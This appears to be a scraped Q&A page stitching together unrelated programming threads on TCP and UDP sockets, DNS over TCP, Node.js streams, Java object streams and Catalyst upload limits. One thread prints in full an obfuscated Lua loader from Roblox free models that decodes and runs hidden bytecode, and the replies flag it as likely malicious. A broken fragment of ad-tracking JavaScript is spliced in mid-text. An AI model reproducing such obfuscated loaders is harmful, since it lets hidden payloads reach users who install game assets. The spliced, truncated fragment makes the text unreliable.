Using both protocols in one application (TCP and UDP) - sockets

I need to write a program, which uses both protocols -TCP and UDP (my project in university). Question: is it possible (in theory) to use both protocols in the one application? Because I already tried to do this(vb 6.0), and the i get error - "invalid operation at current state"
Private Sub Form_Load()
With UDPSOCK
.RemoteHost = "192.168.1.203"
.RemotePort = 5510
.Bind 5510
End With
With TCPSOCK
.Protocol = sckTCPProtocol
.RemoteHost = "192.168.1.203"
.RemotePort = 5510
.Bind 5511
End With
End Sub
Private Sub TCP_Mode()
TCPSOCK.Connect ' ERROR HERE
TCPSOCK.SendData "Retransmission"
End Sub
This is a little part of my code. UDP protocol work perfect (send and receive). But when i try to call TCP_Mode() i get an error "invalid operation at current state". Thanks very much to all.

Related

Is this code suspicious or malicious in any way?

This is an extremely long piece of code popularly associated with free model scripts that people commonly add to their game but it always gets deleted by moderators on-site
local d=string.byte;local r=string.char;local c=string.sub;local b=table.concat;local s=math.ldexp;local Y=getfenv or function()return _ENV end;local l=setmetatable;local h=select;local f=unpack;local u=tonumber;local function g(d)local e,o,a="","",{}local n=256;local t={}for l=0,n-1 do t[l]=r(l)end;local l=1;local function i()local e=u(c(d,l,l),36)l=l+1;local o=u(c(d,l,l+e-1),36)l=l+e;return o end;e=r(i())a[1]=e;while l<#d do local l=i()if t[l]then o=t[l]else o=e..c(e,1,1)end;t[n]=e..c(o,1,1)a[#a+1],e,n=o,o,n+1 end;return table.concat(a)end;local a=g('21521627521621927622G22722J22N21V27A21727522Y26I26O25J25O22Z21621A27621Y21X22322627621621827622C1Y26225X1E1Y27522821M2811B21M27522D21M1A21628928B2161Q28F27622D1Y28A1B28421628M27528P276');local n=bit and bit.bxor or function(l,e)local o,n=1,0 while l>0 and e>0 do local c,a=l%2,e%2 if c~=a then n=n+o end l,e,o=(l-c)/2,(e-a)/2,o*2 end if l<e then l=e end while l>0 do local e=l%2 if e>0 then n=n+o end l,o=(l-e)/2,o*2 end return n end local function e(e,l,o)if o then local l=(e/2^(l-1))%2^((o-1)-(l-1)+1);return l-l%1;else local l=2^(l-1);return(e%(l+l)>=l)and 1 or 0;end;end;local l=1;local function o()local o,a,c,e=d(a,l,l+3);o=n(o,42)a=n(a,42)c=n(c,42)e=n(e,42)l=l+4;return(e*16777216)+(c*65536)+(a*256)+o;end;local function t()local e=n(d(a,l,l),42);l=l+1;return e;end;local function g()local l=o();local n=o();local c=1;local o=(e(n,1,20)*(2^32))+l;local l=e(n,21,31);local e=((-1)^e(n,32));if(l==0)then if(o==0)then return e*0;else l=1;c=0;end;elseif(l==2047)then return(o==0)and(e*(1/0))or(e*(0/0));end;return s(e,l-1023)*(c+(o/(2^52)));end;local u=o;local function i(e)local o;if(not e)then e=u();if(e==0)then return'';end;end;o=c(a,l,l+e-1);l=l+e;local e={}for l=1,#o do e[l]=r(n(d(c(o,l,l)),42))end return b(e);end;local l=o;local function u(...)return{...},h('#',...)end local function s()local d={0,0,0,0,0,0};local r={};local l={};local a={d,nil,r,nil,l};local l=o()local c={0,0,0};for o=1,l do local e=t();local l;if(e==3)then l=(t()~=0);elseif(e==1)then l=g();elseif(e==0)then l=i();end;c[o]=l;end;a[2]=c for l=1,o()do r[l-1]=s();end;for a=1,o()do local c=n(o(),127);local o=n(o(),33);local n=e(c,1,2);local l=e(o,1,11);local l={l,e(c,3,11),nil,nil,o};if(n==0)then l[3]=e(c,12,20);l[5]=e(c,21,29);elseif(n==1)then l[3]=e(o,12,33);elseif(n==2)then l[3]=e(o,12,32)-1048575;elseif(n==3)then l[3]=e(o,12,32)-1048575;l[5]=e(c,21,29);end;d[a]=l;end;a[4]=t();return a;end;local function b(l,e,i)local n=l[1];local e=l[2];local o=l[3];local l=l[4];return function(...)local r=n;local c=e;local e=o;local n=l;local l=u local o=1;local t=-1;local u={};local a={...};local d=h('#',...)-1;local l={};local e={};for l=0,d do if(l>=n)then u[l-n]=a[l+1];else e[l]=a[l+1];end;end;local l=d-n+1 local l;local n;while true do l=r[o];n=l[1];if n<=5 then if n<=2 then if n<=0 then e[l[2]]=i[c[l[3]]];elseif n>1 then do return end;else e[l[2]]();t=A;end;elseif n<=3 then e[l[2]]=e[l[3]][c[l[5]]];elseif n>4 then local h;local d;local a;local u;local n;e[l[2]]=i[c[l[3]]];o=o+1;l=r[o];e[l[2]]=c[l[3]];o=o+1;l=r[o];n=l[2];u={};a=0;d=n+l[3]-1;for l=n+1,d do a=a+1;u[a]=e[l];end;h={e[n](f(u,1,d-n))};d=n+l[5]-2;a=0;for l=n,d do a=a+1;e[l]=h[a];end;t=d;o=o+1;l=r[o];e[l[2]]=e[l[3]][c[l[5]]];o=o+1;l=r[o];e[l[2]]();t=n;o=o+1;l=r[o];do return end;else e[l[2]]=c[l[3]];end;elseif n<=8 then if n<=6 then e[l[2]]=i[c[l[3]]];elseif n>7 then e[l[2]]();t=A;else local n=l[2];local c={};local o=0;local a=n+l[3]-1;for l=n+1,a do o=o+1;c[o]=e[l];end;local c={e[n](f(c,1,a-n))};local l=n+l[5]-2;o=0;for l=n,l do o=o+1;e[l]=c[o];end;t=l;end;elseif n<=10 then if n==9 then do return end;else e[l[2]]=e[l[3]][c[l[5]]];end;elseif n==11 then e[l[2]]=c[l[3]];else local n=l[2];local c={};local o=0;local a=n+l[3]-1;for l=n+1,a do o=o+1;c[o]=e[l];end;local c={e[n](f(c,1,a-n))};local l=n+l[5]-2;o=0;for l=n,l do o=o+1;e[l]=c[o];end;t=l;end;o=o+1;end;end;end;return b(s(),{},Y())();
It's incredibly suspicious. It has been obfuscated, minified, and constructs a complex and unreadable string of byte code to execute. If you can't immediately read and understand code in Free Models, you should expect it's malicious.
This will explain itself.
local a=g('21521627521621927622G22722J22N21V27A21727522Y26I26O25J25O22Z21621A27621Y21X22322627621621827622C1Y26225X1E1Y27522821M2811B21M27522D21M1A21628928B2161Q28F27622D1Y28A1B28421628M27528P276')
-- doesn't look too good, this is definitely suspicious
local d={0,0,0,0,0,0} -- why would you need this?
-- This has ben obfuscated and minified. Don't trust it.
1000){r=r.substring(0,r.length-1);}return r;}());} var ftDomain = (window==top)?"":(function(){var d=document.referrer,h=(d)?d.match("(?::q/q/)+([qw-]+(q.[qw-]+)+)(q/)?".replace(/q/g,decodeURIComponent("%"+"5C")))[1]:"";return (h&&h!=location.host)?"&ft_ifb=1&ft_domain="+encodeURIComponent(h):"";}()); var ftV_6210087={pID:"6210087",width:"300",height:"250",params:{ftx:window.ftX,fty:window.ftY,ftadz:window.ftZ,ftscw:window.ftContent,ft_custom:window.ftCustom,ft_id:window.ftID||"",ft_idEnabled:window.ftIDEnabled||"",ftOBA:window.ftOBA,ft_domain:((ftDomain||"").match(RegExp("&ft_domain=([^&$]+)","i"))||["",""])[1],ft_ifb:((ftDomain||"").match(RegExp("&ft_ifb=([^&$]+)","i"))||["",""])[1],ft_agentEnv:window.mraid||window.ormma?"1":"0",ft_referrer:encodeURIComponent(window.ft_referrer),gdpr:"0",gdpr_consent:"",us_privacy:"${US_PRIVACY}",cachebuster:window.ftRandom},winVars:{ftClick_6210087:window.ftClick_6210087,ftExpTrack_6210087:window.ftExpTrack_6210087,ft300x250_OOBclickTrack:window.ft300x250_OOBclickTrack},DTimeout:1E3,GTimeout:1E3}, ftPProc=function(d){var c=this;d=JSON.parse(JSON.stringify(d));var f=[],l=function(a,b){b="undefined"===typeof b||isNaN(b)?1:parseInt(b,10);a=a||"";for(var e=0<=b?b:0;e--;)a=encodeURIComponent(a);return a},h=function(a){a=a.constructor==Array?a:[];for(var b=0;b

Resolv::DNS - how do I force TCP?

Does anyone know how do I force TCP when using Resolv::DNS?
It seems that when I ask for ANY records, the output is truncated and I get partial results. When I perform many queries (one for each record type) I get more results. I also get inconsistent results (vary between machines, two sequential queries return different results,...)
I thought it could have something to do with UDP being bounded to packet size.
Any idea how I can force it to use TCP? Any other DNS pakcage that I can use?
I had this same problem, wanting to use Resolv for TCP-only queries as I was expecting result sets that were quite large. I ended up digging through Resolv's source code and learned that, by default, TCP queries are only ever performed if the UDP query fails. I found that I could subclass Resolv::DNS and override the each_resource method. Here's my source:
require 'resolv'
# A TCP-only resolver built from `Resolv::DNS`. See the docs for what it's about.
# http://ruby-doc.org/stdlib-1.9.3/libdoc/resolv/rdoc/Resolv/DNS.html
class TcpDNS < Resolv::DNS
# Override fetch_resource to use a TCP requester instead of a UDP requester. This
# is mostly borrowed from `lib/resolv.rb` with the UDP->TCP fallback logic removed.
def each_resource(name, typeclass, &proc)
lazy_initialize
senders = {}
requester = nil
begin
#config.resolv(name) { |candidate, tout, nameserver, port|
requester = make_tcp_requester(nameserver, port)
msg = Message.new
msg.rd = 1
msg.add_question(candidate, typeclass)
unless sender = senders[[candidate, nameserver, port]]
sender = senders[[candidate, nameserver, port]] =
requester.sender(msg, candidate, nameserver, port)
end
begin # HACK
reply, reply_name = requester.request(sender, tout)
rescue
return
end
case reply.rcode
when RCode::NoError
extract_resources(reply, reply_name, typeclass, &proc)
return
when RCode::NXDomain
raise Config::NXDomain.new(reply_name.to_s)
else
raise Config::OtherResolvError.new(reply_name.to_s)
end
}
ensure
requester.close
end
end
end
Then using it is as easy as follows:
TcpDNS.open :nameserver => ns_addrs, :search => '', :ndots => 1 do |dns|
resp = dns.getresources target, Resolv::DNS::Resource::IN::ANY
end

NodeJS: What is the proper way to handling TCP socket streams ? Which delimiter should I use?

From what I understood here, "V8 has a generational garbage collector. Moves objects aound randomly. Node can’t get a pointer to raw string data to write to socket." so I shouldn't store data that comes from a TCP stream in a string, specially if that string becomes bigger than Math.pow(2,16) bytes. (hope I'm right till now..)
What is then the best way to handle all the data that's comming from a TCP socket ? So far I've been trying to use _:_:_ as a delimiter because I think it's somehow unique and won't mess around other things.
A sample of the data that would come would be something_:_:_maybe a large text_:_:_ maybe tons of lines_:_:_more and more data
This is what I tried to do:
net = require('net');
var server = net.createServer(function (socket) {
socket.on('connect',function() {
console.log('someone connected');
buf = new Buffer(Math.pow(2,16)); //new buffer with size 2^16
socket.on('data',function(data) {
if (data.toString().search('_:_:_') === -1) { // If there's no separator in the data that just arrived...
buf.write(data.toString()); // ... write it on the buffer. it's part of another message that will come.
} else { // if there is a separator in the data that arrived
parts = data.toString().split('_:_:_'); // the first part is the end of a previous message, the last part is the start of a message to be completed in the future. Parts between separators are independent messages
if (parts.length == 2) {
msg = buf.toString('utf-8',0,4) + parts[0];
console.log('MSG: '+ msg);
buf = (new Buffer(Math.pow(2,16))).write(parts[1]);
} else {
msg = buf.toString() + parts[0];
for (var i = 1; i <= parts.length -1; i++) {
if (i !== parts.length-1) {
msg = parts[i];
console.log('MSG: '+msg);
} else {
buf.write(parts[i]);
}
}
}
}
});
});
});
server.listen(9999);
Whenever I try to console.log('MSG' + msg), it will print out the whole buffer, so it's useless to see if something worked.
How can I handle this data the proper way ? Would the lazy module work, even if this data is not line oriented ? Is there some other module to handle streams that are not line oriented ?
It has indeed been said that there's extra work going on because Node has to take that buffer and then push it into v8/cast it to a string. However, doing a toString() on the buffer isn't any better. There's no good solution to this right now, as far as I know, especially if your end goal is to get a string and fool around with it. Its one of the things Ryan mentioned # nodeconf as an area where work needs to be done.
As for delimiter, you can choose whatever you want. A lot of binary protocols choose to include a fixed header, such that you can put things in a normal structure, which a lot of times includes a length. In this way, you slice apart a known header and get information about the rest of the data without having to iterate over the entire buffer. With a scheme like that, one can use a tool like:
node-buffer - https://github.com/substack/node-binary
node-ctype - https://github.com/rmustacc/node-ctype
As an aside, buffers can be accessed via array syntax, and they can also be sliced apart with .slice().
Lastly, check here: https://github.com/joyent/node/wiki/modules -- find a module that parses a simple tcp protocol and seems to do it well, and read some code.
You should use the new stream2 api. http://nodejs.org/api/stream.html
Here are some very useful examples: https://github.com/substack/stream-handbook
https://github.com/lvgithub/stick

Something wrong with my socket program

I wrote a program communicated with sockets.But I don't know why they don't work.
Server Code:
this.serverSocket = new ServerSocket(ServerConnector.port);
this.socketListener = this.serverSocket.accept();
System.out.println(this.socketListener.getPort());
this.objIn = new ObjectInputStream(this.socketListener.getInputStream());
System.out.println("1");
this.objOut = new ObjectOutputStream(this.socketListener.getOutputStream());
System.out.println("1");
this.objOut.writeInt(19999);
System.out.println("1");
this.objOut.writeObject(new Date());
System.out.println("1");
Client Code:
this.clientSocket = new Socket(ClientConnector.host, ClientConnector.port);
System.out.println(this.clientSocket.getPort());
this.objIn = new ObjectInputStream(this.clientSocket.getInputStream());
System.out.println("1");
this.objOut = new ObjectOutputStream(this.clientSocket.getOutputStream());
System.out.println("1");
int i = (Integer) this.objIn.readInt();
System.out.println(i);
Date date = (Date) this.objIn.readObject();
The truth is, they don't show any information I suggested to pass through(19999 and date), they even can't print a line of "1"(I added for testing). It means even the line below can't work normally. I really confused by these, who can figure the error out?
this.objIn = new ObjectInputStream(this.clientSocket.getInputStream());
You are most likely experiencing the effect of Nagle's Algorithm. which tries to optimize packet sending in TCP. If you want to send your data immediately you need to disable it using the setTcpNoDelay method on the socket interface.
P.S. no idea why the question is tag'ed as osgi, as it has no relevance to OSGi at all.

How to cancel a file upload based on file size in Catalyst

I'm writing a file upload handler Catalyst. I'm trying to restrict the maximum file size. To do this I've made a Plugin (based on the answer here). Here is the code where I check for the file size:
before 'prepare_body' => sub {
my $c = shift;
my $req = $c->request;
my $length = $req->headers->{"content-length"};
if ($length > 10000)
{
$c->stash->{errors} = "File upload error";
# how do I abort the upload?
}
};
This correctly detects files that are too big, but I can't for the life of me figure out how to abort the upload. Ideally, it should also reach the controller/action. Can anyone give me a pointer? Thanks a lot.
Very simply, you probably shouldn't. Anything you do from plugin code to abort the handling is going to knock out the ability of user code to deal with the situation in a nice way (for example by giving a validation error or a nice error page, instead of a Catalyst exception page).
However, all is not lost. Why not try something like this?
around 'prepare_body' => sub {
my ($orig, $self) = (shift, shift);
my ($c) = #_;
my $max_length = $c->config->{'Plugin::WhateverMyNameIs'}->{max_request_size};
$max_length = 1_000_000 unless defined $max_length; # default
my $length = $c->engine->read_length;
if ($length <= $max_length) { # ok, go ahead
$self->$orig(#_);
} else {
$c->stash->{request_body_aborted} = 1;
}
};
This will stop the read if your request is over-size, but it will let dispatch proceed as normal -- which means you will want to write some code in your action, or in a begin action, or in a chain root, that checks for $c->stash->{request_body_aborted} and does something appropriate -- whether that's setting a form validation error, or calling $c->error("Request too large"); $c->detach or whatever. It's also configurable, as any plugin should be.
I think this needs to occur earlier in the chain. If you have the headers, then the packet is already created.
Perhaps you could try: $c->detach(); or possibly loop through the $c->stack array and remove actions that might have been added, related to your upload.